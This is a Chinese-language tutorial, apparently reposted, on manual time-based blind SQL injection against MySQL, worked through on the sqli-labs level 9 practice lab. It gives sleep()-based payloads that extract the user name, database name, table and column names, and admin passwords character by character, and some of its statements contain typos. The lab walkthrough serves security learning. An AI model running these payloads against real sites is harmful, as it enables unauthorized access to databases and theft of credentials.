MySQL手注之時間盲注


時間盲注(延遲):

沒有任何回顯點 在頁面中輸入任何內容都會返回同一個頁面內容的 就可以嘗試使用延遲盲注。

 

時間盲注常用的函數:

if函數:  if(Condition,A,B)

含義: 如果Condition 成立,執行A,則B

 

substr函數:

含義:截取字符串。subster(string, start, length)  

從string的start位開始截取len個字符

 

ascii函數: ascii(char)

含義: 將char轉化成ascii碼值

 

延遲注入:

當mysql版本>-5.0時 使用sleep()進行查詢

當mysql版本<5.0時 使用benchmark()進行查詢

 

benchmark()壓力測試

通過查詢次數增多, 時間變得緩慢來判斷是否存在延遲。

語句: select benchamark(1000,selcet * from admin);

 

sleep()

來判斷是否存在延遲注入

語句為: id=1' and sleep(5)

 

演練: sqil-labs  9關

首先使用語句檢測是否存在延時注入 這里延遲了十秒。

 

 

通過開發者工具的網絡來查看 網頁響應時間,因此斷定存在延遲注入

 

 

 

判斷當前用戶

and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+

 

(substr(suer(),1,1) : 截取當前數據庫的第一個字符
ascii : 把截取到的字符串轉換成ascii碼(百度搜索ascii碼表一堆)

 

 

 網頁延遲了7秒,說明當前的 ascii 114 對應的值是  r 

 

 繼續使用二分法測試

and if(ascii(substr(user(),2,1))<114,sleep(5),1) --+

 

and if(ascii(substr(user(),2,1))>0,sleep(5),1) --+

  

114<  且  >0

取一中間數57判斷是大於57 還是小於57

 

and if(ascii(substr(user(),2,1))>57,sleep(5),1) --+

 

 

 這里延時7秒 所以114< 且 >57  取中間數 85

 

and if(ascii(substr(user(),2,1))>85,sleep(5),1) --+

延遲7秒   所以114<且>85   取中間數100

 

and if(ascii(substr(user(),2,1))>100,sleep(5),1) --+

114<且>100   取數110

 

and if(ascii(substr(user(),2,1))=110,sleep(5),1) --+

返回7秒 發現ascii110 即是 用戶名的第二位數 n     第三位 則更改數字 按上述步驟進行查詢即可。

 

判斷當前數據庫長度

and if(length(database())=8,sleep(5),1)--+

 

 

猜解數據庫名稱

and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+

猜解表名

and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);--+

猜解列名

and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+

猜解數據

and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)--+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM